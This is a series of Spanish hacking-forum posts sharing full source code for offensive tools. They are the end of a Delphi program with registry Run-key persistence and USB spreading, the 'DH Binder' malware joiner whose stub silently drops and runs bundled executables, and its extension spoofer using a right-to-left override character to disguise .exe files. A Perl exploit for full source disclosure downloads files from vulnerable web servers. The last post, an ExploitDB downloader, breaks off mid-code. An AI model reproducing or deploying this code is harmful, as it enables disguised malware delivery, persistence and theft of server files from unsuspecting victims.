  292.        SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
  293.      end;
  294.  
  295.      try
  296.        begin
  297.          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  298.            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  299.            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  300.          RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
  301.          RegCloseKey(registro);
  302.        end;
  303.      except
  304.        //
  305.      end;
  306.  
  307.      // Writeln('[+] Searching USB ...');
  308.  
  309.      BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);
  310.  
  311.      while (1 = 1) do
  312.        Sleep(5000);
  313.    end
  314.    else
  315.    begin
  316.      // Writeln('[+] Offline');
  317.    end;
  318.  
  319.  except
  320.    on E: Exception do
  321.      Writeln(E.ClassName, ': ', E.Message);
  322.  end;
  323.  
  324. end.
  325.  
  326. // The End ?
  327.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
75  Programación / Programación General / [Delphi] DH Binder 1.0 en: 27 Febrero 2015, 16:40 pm
Nueva version de este simple binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado
  • El builder incluye un File Pumper,Icon Changer y Extension Spoofer

Una imagen :



Los codigos :

El generador.

Código
  1. // DH Binder 1.0
  2. // (C) Doddy Hackman 2015
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. unit binder;
  9.  
  10. interface
  11.  
  12. uses
  13.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  14.  System.Classes, Vcl.Graphics,
  15.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  16.  Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
  17.  StrUtils;
  18.  
  19. type
  20.  TForm1 = class(TForm)
  21.    PageControl1: TPageControl;
  22.    TabSheet1: TTabSheet;
  23.    TabSheet2: TTabSheet;
  24.    TabSheet3: TTabSheet;
  25.    PageControl2: TPageControl;
  26.    TabSheet4: TTabSheet;
  27.    TabSheet5: TTabSheet;
  28.    GroupBox1: TGroupBox;
  29.    PageControl3: TPageControl;
  30.    TabSheet6: TTabSheet;
  31.    TabSheet7: TTabSheet;
  32.    TabSheet8: TTabSheet;
  33.    files: TListView;
  34.    StatusBar1: TStatusBar;
  35.    GroupBox2: TGroupBox;
  36.    archivo_nuevo: TEdit;
  37.    Button1: TButton;
  38.    GroupBox3: TGroupBox;
  39.    execute: TComboBox;
  40.    abrir: TOpenDialog;
  41.    GroupBox4: TGroupBox;
  42.    Button2: TButton;
  43.    GroupBox5: TGroupBox;
  44.    extraction: TComboBox;
  45.    GroupBox6: TGroupBox;
  46.    opcion_ocultar: TCheckBox;
  47.    check_filepumper: TCheckBox;
  48.    GroupBox7: TGroupBox;
  49.    GroupBox8: TGroupBox;
  50.    pumper_count: TEdit;
  51.    UpDown1: TUpDown;
  52.    pumper_type: TComboBox;
  53.    check_extension_changer: TCheckBox;
  54.    GroupBox9: TGroupBox;
  55.    check_extension: TCheckBox;
  56.    extensiones: TComboBox;
  57.    GroupBox10: TGroupBox;
  58.    check_this_extension: TCheckBox;
  59.    extension: TEdit;
  60.    GroupBox11: TGroupBox;
  61.    ruta_icono: TEdit;
  62.    Button3: TButton;
  63.    GroupBox12: TGroupBox;
  64.    use_icon_changer: TCheckBox;
  65.    preview: TImage;
  66.    imagenes: TImageList;
  67.    menu: TPopupMenu;
  68.    C1: TMenuItem;
  69.    Image2: TImage;
  70.    GroupBox13: TGroupBox;
  71.    Button4: TButton;
  72.    TabSheet9: TTabSheet;
  73.    GroupBox14: TGroupBox;
  74.    Image3: TImage;
  75.    Label1: TLabel;
  76.    D1: TMenuItem;
  77.    abrir_icono: TOpenDialog;
  78.    procedure Button1Click(Sender: TObject);
  79.    procedure Button3Click(Sender: TObject);
  80.    procedure Button2Click(Sender: TObject);
  81.    procedure C1Click(Sender: TObject);
  82.    procedure Button4Click(Sender: TObject);
  83.    procedure FormCreate(Sender: TObject);
  84.    procedure D1Click(Sender: TObject);
  85.  
  86.  private
  87.    { Private declarations }
  88.  public
  89.    { Public declarations }
  90.  end;
  91.  
  92. var
  93.  Form1: TForm1;
  94.  
  95. implementation
  96.  
  97. {$R *.dfm}
  98. // Functions
  99.  
  100. procedure file_pumper(archivo: string; cantidad: LongWord);
  101. var
  102.  arraycantidad: array of Byte;
  103.  abriendo: TFileStream;
  104. begin
  105.  abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
  106.  SetLength(arraycantidad, cantidad);
  107.  ZeroMemory(@arraycantidad[1], cantidad);
  108.  abriendo.Seek(0, soFromEnd);
  109.  abriendo.Write(arraycantidad[0], High(arraycantidad));
  110.  abriendo.Free;
  111. end;
  112.  
  113. procedure extension_changer(archivo: string; extension: string);
  114. var
  115.  nombre: string;
  116. begin
  117.  nombre := ExtractFileName(archivo);
  118.  nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
  119.    [rfReplaceAll, rfIgnoreCase]);
  120.  nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
  121.  MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
  122. end;
  123.  
  124. function dhencode(texto, opcion: string): string;
  125. // Thanks to Taqyon
  126. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  127. var
  128.  num: integer;
  129.  aca: string;
  130.  cantidad: integer;
  131.  
  132. begin
  133.  
  134.  num := 0;
  135.  Result := '';
  136.  aca := '';
  137.  cantidad := 0;
  138.  
  139.  if (opcion = 'encode') then
  140.  begin
  141.    cantidad := length(texto);
  142.    for num := 1 to cantidad do
  143.    begin
  144.      aca := IntToHex(ord(texto[num]), 2);
  145.      Result := Result + aca;
  146.    end;
  147.  end;
  148.  
  149.  if (opcion = 'decode') then
  150.  begin
  151.    cantidad := length(texto);
  152.    for num := 1 to cantidad div 2 do
  153.    begin
  154.      aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  155.      Result := Result + aca;
  156.    end;
  157.  end;
  158.  
  159. end;
  160.  
  161. //
  162.  
  163. procedure TForm1.Button1Click(Sender: TObject);
  164. begin
  165.  if (abrir.execute) then
  166.  begin
  167.    archivo_nuevo.Text := abrir.FileName;
  168.  end;
  169. end;
  170.  
  171. procedure TForm1.Button2Click(Sender: TObject);
  172. var
  173.  icono: TIcon;
  174.  listate: TListItem;
  175.  getdata: SHFILEINFO;
  176. begin
  177.  
  178.  if (FileExists(archivo_nuevo.Text)) then
  179.  begin
  180.    icono := TIcon.Create;
  181.    files.Items.BeginUpdate;
  182.  
  183.    with files do
  184.    begin
  185.  
  186.      listate := files.Items.Add;
  187.  
  188.      listate.Caption := ExtractFileName(archivo_nuevo.Text);
  189.      listate.SubItems.Add(archivo_nuevo.Text);
  190.      listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
  191.      listate.SubItems.Add(execute.Text);
  192.  
  193.      SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
  194.        SHGFI_ICON or SHGFI_SMALLICON);
  195.      icono.Handle := getdata.hIcon;
  196.      listate.ImageIndex := imagenes.AddIcon(icono);
  197.  
  198.      DestroyIcon(getdata.hIcon);
  199.  
  200.    end;
  201.  
  202.    files.Items.EndUpdate;
  203.  
  204.    archivo_nuevo.Text := '';
  205.  
  206.    StatusBar1.Panels[0].Text := '[+] File Added';
  207.    Form1.StatusBar1.Update;
  208.  end
  209.  else
  210.  begin
  211.    StatusBar1.Panels[0].Text := '[-] File not exists';
  212.    Form1.StatusBar1.Update;
  213.  end;
  214.  
  215. end;
  216.  
  217. procedure TForm1.Button3Click(Sender: TObject);
  218. begin
  219.  if (abrir_icono.execute) then
  220.  begin
  221.    ruta_icono.Text := abrir_icono.FileName;
  222.    preview.Picture.LoadFromFile(abrir_icono.FileName);
  223.  end;
  224. end;
  225.  
  226. procedure TForm1.Button4Click(Sender: TObject);
  227. var
  228.  i: integer;
  229.  nombre: string;
  230.  ruta: string;
  231.  tipo: string;
  232.  savein: string;
  233.  opcionocultar: string;
  234.  lineafinal: string;
  235.  uno: DWORD;
  236.  tam: DWORD;
  237.  dos: DWORD;
  238.  tres: DWORD;
  239.  todo: Pointer;
  240.  change: DWORD;
  241.  valor: string;
  242.  stubgenerado: string;
  243.  ruta_archivo: string;
  244.  tipocantidadz: string;
  245.  extensionacambiar: string;
  246.  
  247. begin
  248.  
  249.  StatusBar1.Panels[0].Text := '[+] Working ...';
  250.  Form1.StatusBar1.Update;
  251.  
  252.  if (files.Items.Count = 0) or (files.Items.Count = 1) then
  253.  begin
  254.    ShowMessage('You have to choose two or more files');
  255.  end
  256.  else
  257.  begin
  258.    stubgenerado := 'done.exe';
  259.  
  260.    if (opcion_ocultar.Checked = True) then
  261.    begin
  262.      opcionocultar := '1';
  263.    end
  264.    else
  265.    begin
  266.      opcionocultar := '0';
  267.    end;
  268.  
  269.    if (extraction.Items[extraction.ItemIndex] = '') then
  270.    begin
  271.      savein := 'USERPROFILE';
  272.    end
  273.    else
  274.    begin
  275.      savein := extraction.Items[extraction.ItemIndex];
  276.    end;
  277.  
  278.    DeleteFile(stubgenerado);
  279.    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  280.      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
  281.      stubgenerado), True);
  282.  
  283.    ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;
  284.  
  285.    uno := BeginUpdateResource(PChar(ruta_archivo), True);
  286.  
  287.    for i := 0 to files.Items.Count - 1 do
  288.    begin
  289.  
  290.      nombre := files.Items[i].Caption;
  291.      ruta := files.Items[i].SubItems[0];
  292.      tipo := files.Items[i].SubItems[2];
  293.  
  294.      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
  295.        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
  296.      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
  297.        '[63686175]';
  298.  
  299.      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  300.        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  301.      tam := GetFileSize(dos, nil);
  302.      GetMem(todo, tam);
  303.      ReadFile(dos, todo^, tam, tres, nil);
  304.      CloseHandle(dos);
  305.      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
  306.        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);
  307.  
  308.    end;
  309.  
  310.    EndUpdateResource(uno, False);
  311.  
  312.  end;
  313.  
  314.  //
  315.  
  316.  if (check_filepumper.Checked) then
  317.  begin
  318.    tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
  319.    if (tipocantidadz = 'Byte') then
  320.    begin
  321.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
  322.    end;
  323.    if (tipocantidadz = 'KiloByte') then
  324.    begin
  325.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
  326.    end;
  327.    if (tipocantidadz = 'MegaByte') then
  328.    begin
  329.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
  330.    end;
  331.    if (tipocantidadz = 'GigaByte') then
  332.    begin
  333.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
  334.    end;
  335.    if (tipocantidadz = 'TeraByte') then
  336.    begin
  337.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
  338.    end;
  339.  end;
  340.  
  341.  if (use_icon_changer.Checked) then
  342.  begin
  343.    try
  344.      begin
  345.        change := BeginUpdateResourceW
  346.          (PWideChar(wideString(ruta_archivo)), False);
  347.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  348.          PWideChar(wideString(ruta_icono.Text)));
  349.        EndUpdateResourceW(change, False);
  350.      end;
  351.    except
  352.      begin
  353.        //
  354.      end;
  355.    end;
  356.  end;
  357.  
  358.  if (check_extension_changer.Checked) then
  359.  begin
  360.    if not(check_extension.Checked and check_this_extension.Checked) then
  361.    begin
  362.      if (check_extension.Checked) then
  363.      begin
  364.        extensionacambiar := extensiones.Items[extensiones.ItemIndex];
  365.        extension_changer(ruta_archivo, extensionacambiar);
  366.      end;
  367.      if (check_this_extension.Checked) then
  368.      begin
  369.        extension_changer(ruta_archivo, extension.Text);
  370.      end;
  371.    end;
  372.  end;
  373.  
  374.  StatusBar1.Panels[0].Text := '[+] Done';
  375.  Form1.StatusBar1.Update;
  376.  
  377. end;
  378.  
  379. procedure TForm1.C1Click(Sender: TObject);
  380. begin
  381.  files.Clear;
  382.  imagenes.Clear;
  383. end;
  384.  
  385. procedure TForm1.D1Click(Sender: TObject);
  386. begin
  387.  files.DeleteSelected;
  388. end;
  389.  
  390. procedure TForm1.FormCreate(Sender: TObject);
  391. begin
  392.  abrir.InitialDir := GetCurrentDir;
  393.  abrir_icono.InitialDir := GetCurrentDir;
  394.  abrir_icono.Filter := 'ICO|*.ico|';
  395. end;
  396.  
  397. end.
  398.  
  399. // The End ?
  400.  

El Stub.

Código
  1. // DH Binder 1.0
  2. // (C) Doddy Hackman 2015
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. program stub;
  9.  
  10. uses
  11.  System.SysUtils, ShellApi, Windows;
  12.  
  13. function regex(text: String; deaca: String; hastaaca: String): String;
  14. begin
  15.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  16.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  17.  Result := text;
  18. end;
  19.  
  20. function dhencode(texto, opcion: string): string;
  21. // Thanks to Taqyon
  22. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  23. var
  24.  num: integer;
  25.  aca: string;
  26.  cantidad: integer;
  27.  
  28. begin
  29.  
  30.  num := 0;
  31.  Result := '';
  32.  aca := '';
  33.  cantidad := 0;
  34.  
  35.  if (opcion = 'encode') then
  36.  begin
  37.    cantidad := Length(texto);
  38.    for num := 1 to cantidad do
  39.    begin
  40.      aca := IntToHex(ord(texto[num]), 2);
  41.      Result := Result + aca;
  42.    end;
  43.  end;
  44.  
  45.  if (opcion = 'decode') then
  46.  begin
  47.    cantidad := Length(texto);
  48.    for num := 1 to cantidad div 2 do
  49.    begin
  50.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  51.      Result := Result + aca;
  52.    end;
  53.  end;
  54.  
  55. end;
  56.  
  57. procedure cargar_archivo(archivo: TFileName; tipo: string);
  58. var
  59.  data: SHELLEXECUTEINFO;
  60. begin
  61.  if (FileExists(archivo)) then
  62.  begin
  63.    ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
  64.    data.cbSize := SizeOf(SHELLEXECUTEINFO);
  65.    data.fMask := SEE_MASK_NOCLOSEPROCESS;
  66.    data.Wnd := 0;
  67.    data.lpVerb := 'open';
  68.    data.lpFile := PChar(archivo);
  69.    if (tipo = 'Show') then
  70.    begin
  71.      data.nShow := SW_SHOWNORMAL;
  72.    end;
  73.    if (tipo = 'Hide') then
  74.    begin
  75.      data.nShow := SW_HIDE;
  76.    end;
  77.    if not ShellExecuteEx(@data) then
  78.      if GetLastError <= 32 then
  79.      begin
  80.        SysErrorMessage(GetLastError);
  81.      end;
  82.  end;
  83. end;
  84.  
  85. //
  86.  
  87. // Start the game
  88.  
  89. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
  90. var
  91.  data: DWORD;
  92.  uno: DWORD;
  93.  dos: DWORD;
  94.  cinco2: string;
  95.  nombre: string;
  96.  tipodecarga: string;
  97.  ruta: string;
  98.  ocultar: string;
  99.  
  100. begin
  101.  
  102.  Result := True;
  103.  
  104.  cinco2 := cinco;
  105.  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  106.  cinco2 := dhencode(cinco2, 'decode');
  107.  cinco2 := LowerCase(cinco2);
  108.  
  109.  nombre := regex(cinco2, '[nombre]', '[nombre]');
  110.  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  111.  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  112.  ocultar := regex(cinco2, '[hide]', '[hide]');
  113.  
  114.  if not(tipodecarga = '') then
  115.  begin
  116.    data := FindResource(0, cinco, cuatro);
  117.  
  118.    uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
  119.      nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  120.    WriteFile(uno, LockResource(LoadResource(0, data))^,
  121.      SizeOfResource(0, data), dos, nil);
  122.  
  123.    CloseHandle(uno);
  124.  
  125.    if (ocultar = '1') then
  126.    begin
  127.      SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  128.    end;
  129.  
  130.    if (tipodecarga = 'normal') then
  131.    begin
  132.      // Writeln('Abriendo normal');
  133.      cargar_archivo(ruta + nombre, 'Show');
  134.    end;
  135.    if (tipodecarga = 'hide') then
  136.    begin
  137.      // Writeln('Abriendo oculto');
  138.      cargar_archivo(ruta + nombre, 'Hide');
  139.    end;
  140.  end;
  141. end;
  142.  
  143. begin
  144.  
  145.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  146.  
  147. end.
  148.  
  149. // The End ?
  150.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
76  Programación / Scripting / [Perl] FSD Exploit Manager 0.6 en: 20 Febrero 2015, 17:30 pm
Un simple script en Perl para explotar la vulnerabilidad Full Source Discloure solo ponen el link de la pagina vulnerable con el path y pueden bajar archivos de forma facil con este script.

El codigo :

Código
  1. #!usr/bin/perl
  2. #FSD Exploit Manager 0.6
  3. #(C) Doddy Hackman 2014
  4.  
  5. use Getopt::Long;
  6. use Color::Output;
  7. Color::Output::Init;
  8. use LWP::UserAgent;
  9. use URI::Split qw(uri_split);
  10. use File::Basename;
  11. use Cwd;
  12.  
  13. my $nave = LWP::UserAgent->new();
  14. $nave->agent( $agents[ rand @agents ] );
  15. $nave->timeout(5);
  16.  
  17. installer();
  18.  
  19. GetOptions(
  20.    "scan=s" => \$scan,
  21.    "fpd"    => \$fpd,
  22.    "logs"   => \$logs,
  23.    "open"   => \$open
  24. );
  25.  
  26. head();
  27.  
  28. if ($scan) {
  29.  
  30.    my $page = $scan;
  31.  
  32.    printear("\n[+] Scanning target : ");
  33.    print $page. "\n\n";
  34.  
  35.    my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
  36.  
  37.    my $me = basename($path);
  38.  
  39.    $code1 = toma( $page . $me );
  40.    if ( $code1 =~ /header\((.*)Content-Disposition: attachment;/ig ) {
  41.        printear_titulo("[+] Vulnerable\n");
  42.        $code2 = toma( $page . "'" );
  43.        if (   $code2 =~ /No such file or directory in <b>(.*)<\/b> on line/
  44.            or $code2 =~
  45.            /No existe el fichero o el directorio in <b>(.*)<\/b> on line/ )
  46.        {
  47.            my $ruta    = $1;
  48.            my $cambiar = basename($ruta);
  49.            $ruta =~ s/$cambiar//;
  50.  
  51.            my $prompt = "";
  52.  
  53.            if ($fpd) {
  54.                printear("\n[+] Full Path Dislocure Detect : ");
  55.                print $ruta. "\n";
  56.                $prompt = "[" . $ruta . "] > ";
  57.            }
  58.            else {
  59.                $prompt = "[prompt] > ";
  60.            }
  61.  
  62.            unless ( -d $auth ) {
  63.                mkdir( $auth, "0777" );
  64.                chmod 0777, $auth;
  65.            }
  66.            chdir($auth);
  67.  
  68.            printear("\n[+] File Downloader : ");
  69.            print "Ready\n";
  70.  
  71.            while (1) {
  72.                $SIG{INT} = \&adios;
  73.                printear_titulo( "\n" . $prompt );
  74.                chomp( my $comando = <stdin> );
  75.                if ( $comando =~ /!exit/ ) {
  76.                    adios();
  77.                }
  78.                elsif ( $comando =~ /!read_file (.*)/ ) {
  79.                    my $archivo = $1;
  80.                    my $code    = "";
  81.                    my $code    = toma( $page . $archivo );
  82.  
  83.                    printear_logo(
  84. "\n----------------------------------------------------\n"
  85.                    );
  86.                    printear_titulo($code);
  87.                    printear_logo(
  88. "\n----------------------------------------------------\n"
  89.                    );
  90.  
  91.                }
  92.                elsif ( $comando =~ /!download_file (.*)/ ) {
  93.                    my $archivo = $1;
  94.                    my $nombre  = basename($archivo);
  95.                    printear_titulo("\n[+] Downloading file : ");
  96.                    print $nombre. "\n";
  97.                    if ( $nave->mirror( $page . $archivo, $nombre ) ) {
  98.                        printear("\n[+] File Downloaded\n");
  99.                        if ($open) {
  100.                            my $abrir = getcwd() . "/" . $nombre;
  101.                            if ( -f $abrir ) {
  102.                                abrir_archivo($abrir);
  103.                            }
  104.                            if ( !defined($logs) ) {
  105.                                if ( -f $abrir ) {
  106.                                    unlink($abrir);
  107.                                }
  108.                            }
  109.                        }
  110.  
  111.                    }
  112.                    else {
  113.                        printear("\n[-] File not downloaded\n");
  114.                    }
  115.                }
  116.                elsif ( $comando =~ /!help/ ) {
  117.                    printear( "\n[+] Commands : " . "\n\n" );
  118.                    printear("!download_file <file> : Download file\n");
  119.                    printear("!read_file <file> : Read File\n");
  120.                    printear("!help : Show commands\n");
  121.                    printear("!exit : To exit the program\n");
  122.                }
  123.                else {
  124.                    printear("\n[-] Command not found , try using !help\n");
  125.                }
  126.  
  127.            }
  128.  
  129.        }
  130.    }
  131.    else {
  132.        printear_titulo("[-] Not vulnerable\n");
  133.    }
  134. }
  135. else {
  136.    sintax();
  137. }
  138.  
  139. copyright();
  140.  
  141. sub abrir_archivo {
  142.    my $os = $^O;
  143.    if ( $os =~ /Win32/ig ) {
  144.        system(qq(notepad.exe "$_[0]"));
  145.    }
  146.    else {
  147.        system(qq(gedit '$_[0]'));
  148.    }
  149. }
  150.  
  151. sub printear {
  152.    cprint( "\x036" . $_[0] . "\x030" );
  153. }
  154.  
  155. sub printear_logo {
  156.    cprint( "\x037" . $_[0] . "\x030" );
  157. }
  158.  
  159. sub printear_titulo {
  160.    cprint( "\x0310" . $_[0] . "\x030" );
  161. }
  162.  
  163. sub sintax {
  164.    printear("\n[+] Sintax : ");
  165.    print "perl $0 <option> <value>\n";
  166.    printear("\n[+] Options : \n\n");
  167.    print "-scan <page> : FSD Exploit Scanner\n";
  168.    print "-fpd : Check Full Path Discloure\n";
  169.    print "-logs : Enable logs to save files downloaded\n";
  170.    print "-open : Enable open files downloaded\n";
  171.    printear("\n[+] Example : ");
  172.    print "perl fsd.pl -scan http://localhost/download.php?down= -fpd -logs\n";
  173.    copyright();
  174. }
  175.  
  176. sub installer {
  177.    unless ( -d "fsdlogs/" ) {
  178.        mkdir( "fsdlogs/", "777" );
  179.        chmod 0777, "fsdlogs/";
  180.    }
  181.    chdir("fsdlogs");
  182. }
  183.  
  184. sub adios {
  185.    printear_titulo("\n\n[+] Good Bye\n");
  186.    copyright();
  187. }
  188.  
  189. sub head {
  190.    printear_logo("\n-- == FSD Exploit Manager 0.6 == --\n\n");
  191. }
  192.  
  193. sub copyright {
  194.    printear_logo("\n\n-- == (C) Doddy Hackman 2014 == --\n");
  195.    exit(1);
  196. }
  197.  
  198. sub toma {
  199.    return $nave->get( $_[0] )->content;
  200. }
  201.  
  202. #The End ?
  203.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
77  Programación / Scripting / [Perl] Exploit DB Manager 0.6 en: 13 Febrero 2015, 17:43 pm
Un simple script en Perl para buscar,leer y descargar exploits en ExploitDB.

Tienen opciones para :

  • Buscar y listar exploits
  • Leer exploit con determinado ID
  • Descargar exploit con determinado ID
  • Descargar todos los exploits de determinado nombre

Un video con ejemplos de uso :



El codigo :

Código
  1. #!usr/bin/perl
  2. #Exploit DB Manager 0.6
  3. #(C) Doddy Hackman 2015
  4.  
  5. use LWP::UserAgent;
  6. use Getopt::Long;
  7. use Color::Output;
  8. Color::Output::Init;
  9.  
  10. my @agents = (
  11. 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
  12.    'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
  13. 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36',
  14. 'Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0',
  15. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1',
  16.    'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
  17. 'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
  18. 'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'
  19. );
  20.  
  21. my $nave = LWP::UserAgent->new();
  22. $nave->agent( $agents[ rand @agents ] );
  23. $nave->timeout(5);
  24.  
  25. GetOptions(
  26.    "search=s"       => \$search,
  27.    "page=i"         => \$page,
  28.    "read_exploit=s" => \$read_exploit,
  29.    "download=s"     => \$download,
  30.    "file=s"         => \$file,
  31.    "download_all=s" => \$download_all
  32. );
  33.  
  34. my $directorio_down = "downloads";
  35.  
  36. unless ( -d $directorio_down ) {
  37.    mkdir( $directorio_down, "0777" );
  38.    chmod 0777, $directorio_down;
  39. }
  40. chdir($directorio_down);
  41.  
  42. head();
  43. if ( $search ne "" ) {
  44.    if ( $page eq "" ) {
  45.        by_search( $search, "1" );
  46.    }
  47.    else {
  48.        by_search( $search, $page );
  49.    }
  50. }
  51. elsif ( $read_exploit ne "" ) {
  52.    by_read_exploit($read_exploit);
  53. }
  54. elsif ($download) {
  55.  
  56.    if ($file) {
  57.        by_download( $download, $file );
  58.    }
  59.    else {
  60.        by_download( $download, "" );
  61.    }
  62.  
  63. }
  64. elsif ($download_all) {
  65.  
  66.    if ( $page ne "" ) {
  67.        by_download_all( $download_all, $page );
  68.    }
  69.    else {
  70.        by_download_all( $download_all, "1" );
  71.    }
  72.  
  73. }
  74. else {
  75.    sintax();
  76. }
  77. copyright();
  78.  
  79. sub by_download_all {
  80.  
  81.    my $query = $_[0];
  82.    my $page  = $_[1];
  83.  
  84.    printear_titulo("\n[+] Searching  ...\n\n");
  85.  
  86.    my $directorio = $query;
  87.    $directorio =~ s/\.//;
  88.    $directorio =~ s/\=//;
  89.  
  90.    unless ( -d $directorio ) {
  91.        mkdir( $directorio, "0777" );
  92.        chmod 0777, $directorio;
  93.    }
  94.    chdir($directorio);
  95.  
  96.    my $code =
  97.      toma( "http://www.exploit-db.com/search/?action=search&filter_page="
  98.          . $page
  99.          . "&filter_description="
  100.          . $query
  101.          . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="
  102.      );
  103.  
  104.    sleep(6);
  105.  
  106.    my %links_to_download;
  107.    my @ids        = "";
  108.    my @nombres    = "";
  109.    my @links      = "";
  110.    my @links_down = "";
  111.  
  112.    while ( $code =~
  113.        /<a href="http:\/\/www.exploit-db.com\/exploits\/(.*?)">(.*?)<\/a>/migs
  114.      )
  115.    {
  116.        my $id   = $1;
  117.        my $name = $2;
  118.        $name =~ s/&lt;//;
  119.        $name =~ s/\<//;
  120.        $name =~ s/(\s)+$//;
  121.  
  122.        my $link      = "http://www.exploit-db.com/exploits/" . $id;
  123.        my $link_down = "http://www.exploit-db.com/download/" . $id;
  124.        push( @nombres,    $name );
  125.        push( @ids,        $id );
  126.        push( @links,      $link );
  127.        push( @links_down, $link_down );
  128.    }
  129.  
  130.    printear("[+] Exploits Found : ");
  131.    print int(@links) - 1 . "\n\n";
  132.  
  133.    for my $num ( 1 .. int(@links) - 1 ) {
  134.        printear("[+] Title : ");
  135.        print $nombres[$num] . "\n";
  136.        printear("[+] Link : ");
  137.        print $links[$num] . "\n";
  138.  
  139.        my $titulo = $nombres[$num];
  140.        $titulo =~ s/=//ig;
  141.        $titulo =~ s/\///ig;
  142.        $titulo = $titulo . ".txt";
  143.        printear("[+] Downloading ID : ");
  144.        print $ids[$num];
  145.        print "\n";
  146.        sleep(6);
  147.  
  148.        if ( $nave->mirror( $links_down[$num], $titulo ) ) {
  149.            printear("[+] Status : ");
  150.            print "OK\n\n";
  151.            chmod 0777, $titulo;
  152.        }
  153.        else {
  154.            printear("[+] Status : ");
  155.            print "FAIL\n\n";
  156.        }
  157.    }
  158.  
  159.    printear_titulo("[+] Finished\n");
  160.  
  161. }
  162.  
  163. sub by_download {
  164.  
  165.    my $id   = $_[0];
  166.    my $file = $_[1];
  167.  
  168.    printear_titulo("\n[+] Downloading exploit ID : ");
  169.    print $id. "\n";
  170.  
